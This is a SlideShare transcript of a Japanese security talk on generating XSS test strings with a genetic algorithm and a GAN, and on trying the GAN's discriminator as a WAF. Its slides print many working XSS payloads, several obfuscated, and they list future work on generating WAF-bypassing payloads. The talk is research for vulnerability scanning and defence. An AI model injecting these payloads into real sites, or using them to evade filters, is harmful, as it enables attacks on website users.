SlideShare une entreprise Scribd logo
1  sur  40
Télécharger pour lire hors ligne
2018.09.14
Security reject Con + ssmjp
Presented by Isao Takaesu (TW: @bbr_bbq)
サイバーセキュリティ錬金術
- ノイズから価値あるデータを生成する技術 -
本日のお話し
MBSD RejectCon + ssmjp
インターネット上で誰でも簡単に入手できるデータ
を、全自動で「価値あるデータ」に錬金する手法を
紹介します。
ありふれたデータ 価値あるデータ
錬金!!
本日の価値あるデータ:XSSの検査値/ブラックリスト
1 : <frameset><frame/onload=alert(1); />
2 : <object/data=evil.html #</a>
3 : <body onmouseover=alert(1); <canvas </basefont>
4 : <video><source onerror=¥u0061lert(1); />
5 : <svg/onload=alert(1); </del>
5 : <script>alert(1);</script>
6 : <script>onerror=¥u0061lert(1);</script>
7 : <video><source onerror=prompt(1);>
8 : <frameset><frame/onload=alert(1); />
9 : <iframe/onload=alert(1); />
10 : <body onload=alert(1); />
診断員にとっては、脆弱性診断に役立つ検査値。
サイト運営者にとっては、攻撃の防御に役立つブラックリスト。
MBSD RejectCon + ssmjp
本日の価値あるデータ:XSSの検査値/ブラックリスト
1 : <frameset><frame/onload=alert(1); />
2 : <object/data=evil.html #</a>
3 : <body onmouseover=alert(1); <canvas </basefont>
4 : <video><source onerror=¥u0061lert(1); />
5 : <svg/onload=alert(1); </del>
5 : <script>alert(1);</script>
6 : <script>onerror=¥u0061lert(1);</script>
7 : <video><source onerror=prompt(1);>
8 : <frameset><frame/onload=alert(1); />
9 : <iframe/onload=alert(1); />
10 : <body onload=alert(1); />
診断員にとっては、脆弱性診断に役立つ検査値。
サイト運営者にとっては、攻撃の防御に役立つブラックリスト。
MBSD RejectCon + ssmjp
本手法で錬金され
た検査値です。
RejectCon + ssmjp
錬金の手順
MBSD
2. GAで少数の検査値を生成 3. GANで大量の検査値を生成1. 検査値の基を収集
Step.1. 検査値の基を収集
[*] 記号やHTMLタグなど、検査値の最小構成要素(遺伝子)をWebから収集。
Step.2. 遺伝的アルゴリズム(GA)で検査値を生成
[*] 遺伝子の組み合わせ最適化(スクリプトが動作する文字列の発見)。
Step.3. 生成モデル(GAN)で大量の検査値を生成
[*] Step.2で生成した検査値を基に、多様性のある大量の検査値を生成。
Fully automatic (No human)Manual (human)
RejectCon + ssmjp
錬金の手順
MBSD
2. GAで少数の検査値を生成 3. GANで大量の検査値を生成1. 検査値の基を収集
Step.1. 検査値の基を収集
[*] 記号やHTMLタグなど、検査値の最小構成要素(遺伝子)をWebから収集。
Step.2. 遺伝的アルゴリズム(GA)で検査値を生成
[*] 遺伝子の組み合わせ最適化(スクリプトが動作する文字列の発見)。
Step.3. 生成モデル(GAN)で大量の検査値を生成
[*] Step.2で生成した検査値を基に、多様性のある大量の検査値を生成。
Fully automatic (No human)Manual (human)
RejectCon + ssmjp
Step.1. 検査値の基を収集
MBSD
HTML解説サイトからタグや属性・イベントハンドラなどを収集。
Html tag
Attribute
Event handler
RejectCon + ssmjpMBSD
[*] 収集した検査値の基の一例
Step.1. 検査値の基を収集
タグ 属性 イベントハンドラ 記号など
<script> src= onerror “
<body/ type= onload ‘
<object/ data= onmouseover alert();
<iframe/ value= onfocus evil.html
<input/ name= onclick evil.js
RejectCon + ssmjp
錬金の手順
MBSD
2. GAで少数の検査値を生成 3. GANで大量の検査値を生成1. 検査値の基を収集
Step.1. 検査値の基を収集
[*] 記号やHTMLタグなど、検査値の最小構成要素(遺伝子)をWebから収集。
Step.2. 遺伝的アルゴリズム(GA)で検査値を生成
[*] 遺伝子の組み合わせ最適化(スクリプトが動作する文字列の発見)。
Step.3. 生成モデル(GAN)で大量の検査値を生成
[*] Step.2で生成した検査値を基に、多様性のある大量の検査値を生成。
Fully automatic (No human)Manual (human)
RejectCon + ssmjpMBSD
環境に適合した個体(最適化された遺伝子の組み合わせ)を探索。
初期集団の生成 個体の評価
交叉突然変異
個体
● ▲ ■ × ★遺伝子 選択
次世代へ…
Step.2. 遺伝的アルゴリズムで検査値を生成
[*] 遺伝的アルゴリズム(GA)とは?
RejectCon + ssmjpMBSD
Step.2. 遺伝的アルゴリズムで検査値を生成
[*] 検査値はタグや属性などの要素の組み合わせで構成される。
<object/data=evil.html #</a>
<object/ data= evil.html # </a>
<video><source onerror=¥u0061lert(); />
<video> <source onerror= ¥u0061lert(); />
<iframe/onload=alert(); />
<iframe/ onload= alert(); /> -
各要素をGAにおける遺伝子として定義し、環境に適合した最適な遺
伝子の組み合わせを持った個体(検査値)を探索。
<svg/onload=alert(); </del>
<svg/ onload= alert(); </del> -
RejectCon + ssmjpMBSD
Step.2. 遺伝的アルゴリズムで検査値を生成
[*] 環境への適合度を評価する手法。
評価関数を使用して各個体の適合度を求め、適合度の高い個体を
進化(交叉・突然変異)させて次世代に残す。これを繰り返す。
2. スクリプトが動作するか?1. HTML構文として正しいか?
RejectCon + ssmjpMBSD
Step.2. 遺伝的アルゴリズムで検査値を生成
[*] GAで生成した検査値。
Idx 検査値
1 <script>alert();</script></table><hr/
2 <iframe/onload=alert();><select/
3 <svg/<canvas/<select/onload=confirm();>
4 <video><source onerror=confirm();>
5 icon=<iframe/<body onload=¥u0061lert();>
6 <embed onload=alert();<script type="text/javascript">
進化計算を繰り返すことで、数種類の検査値が生成される。
[!] 上記の検査値は、全てスクリプトが動作します。
RejectCon + ssmjpMBSD
https://goo.gl/LgnpGN
Step.2. 遺伝的アルゴリズムで検査値を生成
[*] 詳細情報はコチラ。
日本語:
英語 :https://goo.gl/g4MfnP
RejectCon + ssmjp
錬金の手順
MBSD
2. GAで少数の検査値を生成 3. GANで大量の検査値を生成1. 検査値の基を収集
Step.1. 検査値の基を収集
[*] 記号やHTMLタグなど、検査値の最小構成要素(遺伝子)をWebから収集。
Step.2. 遺伝的アルゴリズム(GA)で検査値を生成
[*] 遺伝子の組み合わせ最適化(スクリプトが動作する文字列の発見)。
Step.3. 生成モデル(GAN)で大量の検査値を生成
[*] Step.2で生成した検査値を基に、多様性のある大量の検査値を生成。
Fully automatic (No human)Manual (human)
RejectCon + ssmjpMBSD
ノイズを基に、訓練データを模倣したFakeデータを大量に生成。
・
・
・
Noise
Generator (G)
・
・
・
Generative
Data
・
・
・
・
・
・
Train Data
Train Data
・・・
Discriminator (D)
Probability
True?
[*] 生成モデル(GAN)とは?
Step.3. 生成モデルで大量の検査値を生成
RejectCon + ssmjpMBSD
模倣者は、お手本そっくりの贋作で騙そうとする。
鑑定士は、贋作を見破ろうとする。
騙し/見破りを繰り返すことで、お互いの能力が高まる(学習)。
G(=模倣者) D(=鑑定士)
[*] 生成モデル(GAN)とは?
Step.3. 生成モデルで大量の検査値を生成
Train data(お手本)
Generative data(贋作)
騙そうとする 見破る
RejectCon + ssmjpMBSD
学習を繰り返すことで、徐々に訓練データに近似したデータを生成。
Step.3. 生成モデルで大量の検査値を生成
[*] 生成モデル(GAN)の簡単な実行例。
・訓練データ
・生成データ
RejectCon + ssmjpMBSD
学習の過程で訓練データとは似て非なる様々な検査値を生成。
・
・
・
Noise
Generator (G)
・
・
・
Generative
Data
・
・
・
・
・
・
Train Data
Train Data
・・・
Discriminator (D)
Probability
True?
[*] 検査値を大量に生成するには?
Step.3. 生成モデルで大量の検査値を生成
GAが生成した検査値
RejectCon + ssmjpMBSD
[*] 生成モデルで生成した検査値。
Idx 訓練データ(GAが生成した検査値)
- <script>alert();</script></table><hr/
生成されたデータ
1 <script>alert``;</script><table/</td>
2 <script>al¥u0065rt();</script></tr><th/
3 <script>prompt();</script><th/<col/
4 <script>confirm();</script><thead <table/
Step.3. 生成モデルで大量の検査値を生成
1つの訓練データから、複数種類の検査値が生成される。
[!] 訓練データとは似て非なる検査値を生成。
RejectCon + ssmjpMBSD
[*] 生成モデルで生成した検査値。
Idx 訓練データ(GAが生成した検査値)
- <iframe/onload=alert();><select/
生成されたデータ
1 colspan=<iframe <a onload=al¥u0065rt();>
2
<object/onload="onfocus=alert();"<script type="text/javascri
pt">
3 <iframe onload=alert``; /><select
4 icon=<iframe/<img onload=al¥u0065rt();>
Step.3. 生成モデルで大量の検査値を生成
1つの訓練データから、複数種類の検査値が生成される。
[!] Idx.2は、訓練データとは全く異なる検査パターン。
RejectCon + ssmjpMBSD
[*] 生成モデルで生成した検査値。
Idx 訓練データ(GAが生成した検査値)
- <svg/<canvas/<select/onload=confirm();>
生成されたデータ
1 <svg/onload="¥u0061lert();"></output>
2
<object/src=# onload=alert();¥n<script type="text/javascript
">
3 <script/src="data:text/html,alert();"<script></script>
4 <svg/onload=confirm();>
Step.3. 生成モデルで大量の検査値を生成
1つの訓練データから、複数種類の検査値が生成される。
[!] Idx.2, 3は、訓練データとは全く異なる検査パターン。
RejectCon + ssmjpMBSD
[*] 生成モデルで生成した検査値。
Idx 訓練データ(GAが生成した検査値)
- <video><source onerror=confirm();>
生成されたデータ
1 <video><source onerror="¥u0061lert``;">
2 <video><source onerror="al¥u0065rt``;">
3 <video><source/onerror=alert();>
4 <video><source onerror=prompt(1);>
Step.3. 生成モデルで大量の検査値を生成
1つの訓練データから、複数種類の検査値が生成される。
[!] 訓練データとは似て非なる検査値を生成。
RejectCon + ssmjpMBSD
[*] 生成モデルで生成した検査値。
Idx 訓練データ(GAが生成した検査値)
- icon=<iframe/<body onload=¥u0061lert();>
生成されたデータ
1 headers=<body/<body onload=alert();>
2 icon=<body <input/onload=confirm(1);>
3 kind=<body <img onload=alert``;>
4 <img src=# <keygen onerror=¥u0061lert``;>
Step.3. 生成モデルで大量の検査値を生成
1つの訓練データから、複数種類の検査値が生成される。
[!] Idx.4は、訓練データとは異なる検査パターン。
RejectCon + ssmjpMBSD
[*] 生成モデルで生成した検査値。
Idx 訓練データ(GAが生成した検査値)
- <embed onload=alert();<script type="text/javascript">
生成されたデータ
1 <embed/onload=al¥u0065rt();¥n<script type="text/javascript">
2 <embed onload=alert``;¥n<script type="text/javascript">
3 <embed/onload=prompt();¥n<script type="text/javascript">
4
<embed/src=# onload=confirm();¥n<script type="text/javascrip
t">
Step.3. 生成モデルで大量の検査値を生成
1つの訓練データから、複数種類の検査値が生成される。
[!] 訓練データとは似て非なる検査値を生成。
RejectCon + ssmjpMBSD
[*] もっと検査値を増やしてみよう!
Idx 訓練データ(1回目のGANで生成された検査値)
-
<object/src=# onload=alert();¥n<script type="text/javascrip
t">
生成されたデータ
1 <object/onload=prompt();¥n<script type="text/javascript">
2 <svg/onload=al¥u0065rt();¥n<script type="text/javascript">
3 <iframe/*/onload=charset=alert();>
Step.3. 生成モデルで大量の検査値を生成
1回目のGANで生成された検査値を訓練データにすることで、
さらなる検査値が生成される。
[!] Idx.2, 3は、訓練データとは異なる検査パターン。
RejectCon + ssmjpMBSD
[*] もっと検査値を増やしてみよう!
Idx 訓練データ(1回目のGANで生成された検査値)
- <script/src="data:text/html,alert();"<script></script>
生成されたデータ
1 <script src="data:text/html,al¥u0065rt``;"<script></script>
2 <script src="data:text/html,confirm();"<script></script>
3 <script/src="data:text/html,alert``;"&#x0D;<script></script>
Step.3. 生成モデルで大量の検査値を生成
1回目のGANで生成された検査値を訓練データにすることで、
さらなる検査値が生成される。
[!] 訓練データとは似て非なる検査値を生成。
RejectCon + ssmjpMBSD
[*] もっと検査値を増やしてみよう!
Idx 訓練データ(1回目のGANで生成された検査値)
- <img src=# <keygen onerror=¥u0061lert``;>
生成されたデータ
1 <script src=# <label onerror=confirm();¥n<script></script>
2 <img src= <meter onerror=alert();¥n<script></script>
3 <iframe src=# <keygen onload=alert();¥n<script></script>
Step.3. 生成モデルで大量の検査値を生成
1回目のGANで生成された検査値を訓練データにすることで、
さらなる検査値が生成される。
[!] Idx.1, 3は、訓練データとは異なる検査パターン。
RejectCon + ssmjpMBSD
ノイズは[-1.0, 1.0]範囲でランダムに選んだ200次元ベクトル。
・
・
・
Noise
Generator (G)
・
・
・
Generative
Data
・
・
・
・
・
・
Train Data
Train Data
・・・
Discriminator (D)
Probability
True?
[*] もっともっと検査値を増やしてみよう!
Step.3. 生成モデルで大量の検査値を生成
GAが生成した検査値
ノイズに着目!!
RejectCon + ssmjpMBSD
(十分に学習したGANにおいては)ノイズの値域内からサンプリン
グした各ベクトルと、GANで生成される検査値は紐付いている。
[*] Generatorに入力されるノイズの空間。
Step.3. 生成モデルで大量の検査値を生成
ノイズの値域
[-1.0, 1.0]^n
<script>al¥u0065rt();</script>
<svg onload=alert();src=evil.js
"" />
<video><source/onerror=alert();>
[-0.183, 0.752 … 0.002, -0.652]
[0.723, -0.083 … 0.189, 0.044]
[-0.081, -0.531 … 0.024, -0.326]
RejectCon + ssmjpMBSD
(スクリプトが動作する)2つの検査値に紐付くノイズの中間値を
Generatorに入力すると、各検査値を併せた検査値が生成される?
[*] 足し算・引き算ができるベクトルの特性を利用する。
Step.3. 生成モデルで大量の検査値を生成
<script>al¥u0065rt();</script>
<svg onload=alert();src=evil.js
"" />
<script src=saivs.js "></script>
[*] 期待する結果。
RejectCon + ssmjpMBSD
[*] 2つのノイズの中間値を基に生成された検査値。
元の検査値
<object/<embed/data=evil.html <script type="text/javascrip
t">
<object/src=# onload=alert();¥n<script type="text/javascrip
t">
生成されたデータ
<embed/<a/onload=alert();¥n<script type="text/javascript">
2つの検査値の特徴を併せた検査値が生成される。
[*] HTMLタグ、イベントハンドラなどが組み合わさっている。
Step.3. 生成モデルで大量の検査値を生成
RejectCon + ssmjpMBSD
[*] 2つのノイズの中間値を基に生成された検査値。
元の検査値
alert``;<script>al¥u0065rt``;</script>
¥u0061lert``;<script>prompt();</script>
生成されたデータ
al¥u0065rt();<script>confirm();</script>
組み合わせとは言えない検査値も生成される。
[?] 元検査値の組み合わせを考慮する必要がある?
ノイズ値域において、検査値やタグなどの分布を調査する
必要がある?
Step.3. 生成モデルで大量の検査値を生成
RejectCon + ssmjpMBSD
[*] 本手法で錬金された検査値数と処理時間。
まとめ
手法 生成された検査値の総数 処理時間
遺伝的アルゴリズム(GA) 6 個 5.0 時間
生成モデル : 1回目 581 個 (+575) 2.0 時間
生成モデル : 2回目 627 個 (+146) 1.0 時間
生成モデル : ノイズ合成 643 個 ( +16) 0.5 時間
[!] 文字列として重複していない検査値をカウント。
[!] 動作パターンによる重複は排除していない。
インターネット上で誰でも簡単に入手できるデータを、
現実的な時間で価値あるデータに錬金することができた。
RejectCon + ssmjpMBSD
鑑定士(D)は、お手本をまねた贋作を見破ることができる。
本日のタスクでは「お手本=検査値」とした。
よって、模倣者(G)が作る贋作も検査値。ということは・・・
G(=模倣者) D(=鑑定士)
[*] 鑑定士(D)の「見破る」能力を何かに活用できないか?
Step.3. 生成モデルで大量の検査値を生成
Train data(お手本)
Generative data(贋作)
騙そうとする 見破る
RejectCon + ssmjpMBSD
スクリプトが動作する文字列(検査値)と無害な文字列をやられサー
バに送信し、Discriminatorの検知精度と応答速度を観測。
[!] Discriminatorの出力が「0.53」以上の場合にBlock
Discriminator (WAF)
[*] 鑑定士(Discriminator)をWAFにする試み。
Step.3. 生成モデルで大量の検査値を生成
やられサーバテスター
Block
or
Allow
検証環境イメージ
Probability
RejectCon + ssmjpMBSD
Discriminatorは、FPを回避する能力が優れているが、学習が足り
ないと致命的なFNを引き起こす。また、応答速度にも難がある。
[!] 実運用するには、上記課題の解決が必須(今後の課題)。
[*] 計測結果(FP=False Positive, FN=False Negative)。
Step.3. 生成モデルで大量の検査値を生成
Idx 送信文字列 検知精度
- - Discriminator Mod Security
1 <script>hello Allow [0.51] Block(FP)
2 <a/alert();>hello Allow [0.50] Block(FP)
3 <script>alert();</script> Block [0.54] Block
4 <img src=x onerror=xss> Block [0.56] Block
5 <a onmouseover=alert();> Allow(FN) [0.49] Block
平均応答速度: 約 200 [ms] 約 5~10 [ms]
MBSD
今後の課題(≒ Rejectされた理由)
RejectCon + ssmjp
[+] 生成した検査値/ブラックリストの実証実験
* 検査値を使用し、実サービス/製品の脆弱性を検出する。
* Webサイトでブラックリストを使用し、実際の攻撃を防ぐ。
[+] 人間では思いつかない(つき難い)検査値の生成
* WAFやフィルタをBypassする検査値を生成する。
そして、これをWAFベンダなどにフィードバックする。
[+] 他分野への応用
* 他脆弱性の検査値や他セキュリティ領域に応用する。
MBSD
Resource
RejectCon + ssmjp
https://github.com/13o-bbr-bbq/machine_learning_security/tree/master/Generator
[*] Source codes & Usage.
Reference all source codes and document:
https://github.com/13o-bbr-bbq/machine_learning_security/

Contenu connexe

Similaire à サイバーセキュリティ錬金術 - ノイズから価値あるデータを生成する技術 -

2016年2月4日 空間OSのためのビッグデータ技術基盤
2016年2月4日 空間OSのためのビッグデータ技術基盤2016年2月4日 空間OSのためのビッグデータ技術基盤
2016年2月4日 空間OSのためのビッグデータ技術基盤aitc_jp
 
最低限知っておきたい Webセキュリティーについて@MT関西
最低限知っておきたい Webセキュリティーについて@MT関西最低限知っておきたい Webセキュリティーについて@MT関西
最低限知っておきたい Webセキュリティーについて@MT関西Masayuki Abe
 
IoT時代におけるストリームデータ処理と急成長の Apache Flink
IoT時代におけるストリームデータ処理と急成長の Apache FlinkIoT時代におけるストリームデータ処理と急成長の Apache Flink
IoT時代におけるストリームデータ処理と急成長の Apache FlinkTakanori Suzuki
 
よろしい、ならばMicro-ORMだ
よろしい、ならばMicro-ORMだよろしい、ならばMicro-ORMだ
よろしい、ならばMicro-ORMだNarami Kiyokura
 
Cocos2d-x(JS) ハンズオン #08「様々な画像描画方法」
Cocos2d-x(JS) ハンズオン #08「様々な画像描画方法」Cocos2d-x(JS) ハンズオン #08「様々な画像描画方法」
Cocos2d-x(JS) ハンズオン #08「様々な画像描画方法」Tomoaki Shimizu
 
メタな感じのプログラミング(プロ生 + わんくま 071118)
メタな感じのプログラミング(プロ生 + わんくま 071118)メタな感じのプログラミング(プロ生 + わんくま 071118)
メタな感じのプログラミング(プロ生 + わんくま 071118)Tatsuya Ishikawa
 
エンジニアのための機械学習の基礎
エンジニアのための機械学習の基礎エンジニアのための機械学習の基礎
エンジニアのための機械学習の基礎Daiyu Hatakeyama
 
Javascript で暗号化
Javascript で暗号化Javascript で暗号化
Javascript で暗号化suno88
 
Azure Machine Learning services 2019年6月版
Azure Machine Learning services 2019年6月版Azure Machine Learning services 2019年6月版
Azure Machine Learning services 2019年6月版Daiyu Hatakeyama
 
(A7)cross site scripting
(A7)cross site scripting(A7)cross site scripting
(A7)cross site scriptingOWASP Nagoya
 
introduce "Stealing Machine Learning Models via Prediction APIs"
introduce "Stealing Machine Learning Models  via Prediction APIs"introduce "Stealing Machine Learning Models  via Prediction APIs"
introduce "Stealing Machine Learning Models via Prediction APIs"Isao Takaesu
 
エンジニアのための Azure 基礎知識
エンジニアのための Azure 基礎知識エンジニアのための Azure 基礎知識
エンジニアのための Azure 基礎知識Daiyu Hatakeyama
 
Webデザイン 第10回:HTML5実践 Three.jsで3Dプログラミング
Webデザイン 第10回:HTML5実践 Three.jsで3DプログラミングWebデザイン 第10回:HTML5実践 Three.jsで3Dプログラミング
Webデザイン 第10回:HTML5実践 Three.jsで3DプログラミングAtsushi Tadokoro
 
もっと早く知りたかったプログラミング技法9選
もっと早く知りたかったプログラミング技法9選もっと早く知りたかったプログラミング技法9選
もっと早く知りたかったプログラミング技法9選Masayuki Akiyama
 
“Stay Right”ペンテスト体験:SANS Holiday Hack Challenge 2017の解説 & Walkthrough
“Stay Right”ペンテスト体験:SANS Holiday Hack Challenge 2017の解説 & Walkthrough“Stay Right”ペンテスト体験:SANS Holiday Hack Challenge 2017の解説 & Walkthrough
“Stay Right”ペンテスト体験:SANS Holiday Hack Challenge 2017の解説 & WalkthroughIsaac Mathis
 
owasp_evening_okinawa_7_owasp_top_10-2017_injection
owasp_evening_okinawa_7_owasp_top_10-2017_injectionowasp_evening_okinawa_7_owasp_top_10-2017_injection
owasp_evening_okinawa_7_owasp_top_10-2017_injectiontobaru_yuta
 
Android起動周りのノウハウ
Android起動周りのノウハウAndroid起動周りのノウハウ
Android起動周りのノウハウchancelab
 

Similaire à サイバーセキュリティ錬金術 - ノイズから価値あるデータを生成する技術 - (20)

2016年2月4日 空間OSのためのビッグデータ技術基盤
2016年2月4日 空間OSのためのビッグデータ技術基盤2016年2月4日 空間OSのためのビッグデータ技術基盤
2016年2月4日 空間OSのためのビッグデータ技術基盤
 
最低限知っておきたい Webセキュリティーについて@MT関西
最低限知っておきたい Webセキュリティーについて@MT関西最低限知っておきたい Webセキュリティーについて@MT関西
最低限知っておきたい Webセキュリティーについて@MT関西
 
IoT時代におけるストリームデータ処理と急成長の Apache Flink
IoT時代におけるストリームデータ処理と急成長の Apache FlinkIoT時代におけるストリームデータ処理と急成長の Apache Flink
IoT時代におけるストリームデータ処理と急成長の Apache Flink
 
判別分析
判別分析判別分析
判別分析
 
よろしい、ならばMicro-ORMだ
よろしい、ならばMicro-ORMだよろしい、ならばMicro-ORMだ
よろしい、ならばMicro-ORMだ
 
マーブル図で怖くないRxJS
マーブル図で怖くないRxJSマーブル図で怖くないRxJS
マーブル図で怖くないRxJS
 
Cocos2d-x(JS) ハンズオン #08「様々な画像描画方法」
Cocos2d-x(JS) ハンズオン #08「様々な画像描画方法」Cocos2d-x(JS) ハンズオン #08「様々な画像描画方法」
Cocos2d-x(JS) ハンズオン #08「様々な画像描画方法」
 
メタな感じのプログラミング(プロ生 + わんくま 071118)
メタな感じのプログラミング(プロ生 + わんくま 071118)メタな感じのプログラミング(プロ生 + わんくま 071118)
メタな感じのプログラミング(プロ生 + わんくま 071118)
 
エンジニアのための機械学習の基礎
エンジニアのための機械学習の基礎エンジニアのための機械学習の基礎
エンジニアのための機械学習の基礎
 
Javascript で暗号化
Javascript で暗号化Javascript で暗号化
Javascript で暗号化
 
Azure Machine Learning services 2019年6月版
Azure Machine Learning services 2019年6月版Azure Machine Learning services 2019年6月版
Azure Machine Learning services 2019年6月版
 
(A7)cross site scripting
(A7)cross site scripting(A7)cross site scripting
(A7)cross site scripting
 
introduce "Stealing Machine Learning Models via Prediction APIs"
introduce "Stealing Machine Learning Models  via Prediction APIs"introduce "Stealing Machine Learning Models  via Prediction APIs"
introduce "Stealing Machine Learning Models via Prediction APIs"
 
エンジニアのための Azure 基礎知識
エンジニアのための Azure 基礎知識エンジニアのための Azure 基礎知識
エンジニアのための Azure 基礎知識
 
Webデザイン 第10回:HTML5実践 Three.jsで3Dプログラミング
Webデザイン 第10回:HTML5実践 Three.jsで3DプログラミングWebデザイン 第10回:HTML5実践 Three.jsで3Dプログラミング
Webデザイン 第10回:HTML5実践 Three.jsで3Dプログラミング
 
Tamabi media131118
Tamabi media131118Tamabi media131118
Tamabi media131118
 
もっと早く知りたかったプログラミング技法9選
もっと早く知りたかったプログラミング技法9選もっと早く知りたかったプログラミング技法9選
もっと早く知りたかったプログラミング技法9選
 
“Stay Right”ペンテスト体験:SANS Holiday Hack Challenge 2017の解説 & Walkthrough
“Stay Right”ペンテスト体験:SANS Holiday Hack Challenge 2017の解説 & Walkthrough“Stay Right”ペンテスト体験:SANS Holiday Hack Challenge 2017の解説 & Walkthrough
“Stay Right”ペンテスト体験:SANS Holiday Hack Challenge 2017の解説 & Walkthrough
 
owasp_evening_okinawa_7_owasp_top_10-2017_injection
owasp_evening_okinawa_7_owasp_top_10-2017_injectionowasp_evening_okinawa_7_owasp_top_10-2017_injection
owasp_evening_okinawa_7_owasp_top_10-2017_injection
 
Android起動周りのノウハウ
Android起動周りのノウハウAndroid起動周りのノウハウ
Android起動周りのノウハウ
 

Plus de Isao Takaesu

Deep Exploit@Black Hat Europe 2018 Arsenal
Deep Exploit@Black Hat Europe 2018 ArsenalDeep Exploit@Black Hat Europe 2018 Arsenal
Deep Exploit@Black Hat Europe 2018 ArsenalIsao Takaesu
 
OSSで作る機械学習を用いたペネトレーションテストツール
OSSで作る機械学習を用いたペネトレーションテストツールOSSで作る機械学習を用いたペネトレーションテストツール
OSSで作る機械学習を用いたペネトレーションテストツールIsao Takaesu
 
ハニーポッター技術交流会
ハニーポッター技術交流会ハニーポッター技術交流会
ハニーポッター技術交流会Isao Takaesu
 
サイバーセキュリティ錬金術
サイバーセキュリティ錬金術サイバーセキュリティ錬金術
サイバーセキュリティ錬金術Isao Takaesu
 
GAとGANによる検査値の自動生成
GAとGANによる検査値の自動生成GAとGANによる検査値の自動生成
GAとGANによる検査値の自動生成Isao Takaesu
 
Pythonと機械学習によるWebセキュリティの自動化
Pythonと機械学習によるWebセキュリティの自動化Pythonと機械学習によるWebセキュリティの自動化
Pythonと機械学習によるWebセキュリティの自動化Isao Takaesu
 
脆弱性診断データの活用例 - Webアプリケーション診断編 -
脆弱性診断データの活用例 - Webアプリケーション診断編 -脆弱性診断データの活用例 - Webアプリケーション診断編 -
脆弱性診断データの活用例 - Webアプリケーション診断編 -Isao Takaesu
 
RECOMMENDER for Web security engineers - 中級編 -
RECOMMENDER for Web security engineers - 中級編 -RECOMMENDER for Web security engineers - 中級編 -
RECOMMENDER for Web security engineers - 中級編 -Isao Takaesu
 
RECOMMENDER for Web security engineers - 初級編 -
RECOMMENDER for Web security engineers - 初級編 -RECOMMENDER for Web security engineers - 初級編 -
RECOMMENDER for Web security engineers - 初級編 -Isao Takaesu
 
Convolutional Neural Networkに対する攻撃手法
Convolutional Neural Networkに対する攻撃手法Convolutional Neural Networkに対する攻撃手法
Convolutional Neural Networkに対する攻撃手法Isao Takaesu
 
Discussion AIの脆弱性について
Discussion AIの脆弱性についてDiscussion AIの脆弱性について
Discussion AIの脆弱性についてIsao Takaesu
 
機械学習関連情報の収集方法
機械学習関連情報の収集方法機械学習関連情報の収集方法
機械学習関連情報の収集方法Isao Takaesu
 
機械学習を使ったハッキング手法
機械学習を使ったハッキング手法機械学習を使ったハッキング手法
機械学習を使ったハッキング手法Isao Takaesu
 
ITエンジニアのための機械学習理論入門 第5章
ITエンジニアのための機械学習理論入門 第5章ITエンジニアのための機械学習理論入門 第5章
ITエンジニアのための機械学習理論入門 第5章Isao Takaesu
 
CODE BLUE 2016 - Method of Detecting Vulnerability in Web Apps
CODE BLUE 2016 - Method of Detecting Vulnerability in Web AppsCODE BLUE 2016 - Method of Detecting Vulnerability in Web Apps
CODE BLUE 2016 - Method of Detecting Vulnerability in Web AppsIsao Takaesu
 
CODE BLUE 2016 - 機械学習でWebアプリケーションの脆弱性を見つける方法
CODE BLUE 2016 - 機械学習でWebアプリケーションの脆弱性を見つける方法CODE BLUE 2016 - 機械学習でWebアプリケーションの脆弱性を見つける方法
CODE BLUE 2016 - 機械学習でWebアプリケーションの脆弱性を見つける方法Isao Takaesu
 
機械学習でWebアプリの脆弱性を見つける - Reflected XSS 編 -
機械学習でWebアプリの脆弱性を見つける - Reflected XSS 編 -機械学習でWebアプリの脆弱性を見つける - Reflected XSS 編 -
機械学習でWebアプリの脆弱性を見つける - Reflected XSS 編 -Isao Takaesu
 
AISECjp SAIVS(Spider Artificial Intelligence Vulnerability Scanner)
AISECjp SAIVS(Spider Artificial Intelligence Vulnerability Scanner)AISECjp SAIVS(Spider Artificial Intelligence Vulnerability Scanner)
AISECjp SAIVS(Spider Artificial Intelligence Vulnerability Scanner)Isao Takaesu
 
Aiにwebアプリ診断をやらせてみる
Aiにwebアプリ診断をやらせてみるAiにwebアプリ診断をやらせてみる
Aiにwebアプリ診断をやらせてみるIsao Takaesu
 

Plus de Isao Takaesu (19)

Deep Exploit@Black Hat Europe 2018 Arsenal
Deep Exploit@Black Hat Europe 2018 ArsenalDeep Exploit@Black Hat Europe 2018 Arsenal
Deep Exploit@Black Hat Europe 2018 Arsenal
 
OSSで作る機械学習を用いたペネトレーションテストツール
OSSで作る機械学習を用いたペネトレーションテストツールOSSで作る機械学習を用いたペネトレーションテストツール
OSSで作る機械学習を用いたペネトレーションテストツール
 
ハニーポッター技術交流会
ハニーポッター技術交流会ハニーポッター技術交流会
ハニーポッター技術交流会
 
サイバーセキュリティ錬金術
サイバーセキュリティ錬金術サイバーセキュリティ錬金術
サイバーセキュリティ錬金術
 
GAとGANによる検査値の自動生成
GAとGANによる検査値の自動生成GAとGANによる検査値の自動生成
GAとGANによる検査値の自動生成
 
Pythonと機械学習によるWebセキュリティの自動化
Pythonと機械学習によるWebセキュリティの自動化Pythonと機械学習によるWebセキュリティの自動化
Pythonと機械学習によるWebセキュリティの自動化
 
脆弱性診断データの活用例 - Webアプリケーション診断編 -
脆弱性診断データの活用例 - Webアプリケーション診断編 -脆弱性診断データの活用例 - Webアプリケーション診断編 -
脆弱性診断データの活用例 - Webアプリケーション診断編 -
 
RECOMMENDER for Web security engineers - 中級編 -
RECOMMENDER for Web security engineers - 中級編 -RECOMMENDER for Web security engineers - 中級編 -
RECOMMENDER for Web security engineers - 中級編 -
 
RECOMMENDER for Web security engineers - 初級編 -
RECOMMENDER for Web security engineers - 初級編 -RECOMMENDER for Web security engineers - 初級編 -
RECOMMENDER for Web security engineers - 初級編 -
 
Convolutional Neural Networkに対する攻撃手法
Convolutional Neural Networkに対する攻撃手法Convolutional Neural Networkに対する攻撃手法
Convolutional Neural Networkに対する攻撃手法
 
Discussion AIの脆弱性について
Discussion AIの脆弱性についてDiscussion AIの脆弱性について
Discussion AIの脆弱性について
 
機械学習関連情報の収集方法
機械学習関連情報の収集方法機械学習関連情報の収集方法
機械学習関連情報の収集方法
 
機械学習を使ったハッキング手法
機械学習を使ったハッキング手法機械学習を使ったハッキング手法
機械学習を使ったハッキング手法
 
ITエンジニアのための機械学習理論入門 第5章
ITエンジニアのための機械学習理論入門 第5章ITエンジニアのための機械学習理論入門 第5章
ITエンジニアのための機械学習理論入門 第5章
 
CODE BLUE 2016 - Method of Detecting Vulnerability in Web Apps
CODE BLUE 2016 - Method of Detecting Vulnerability in Web AppsCODE BLUE 2016 - Method of Detecting Vulnerability in Web Apps
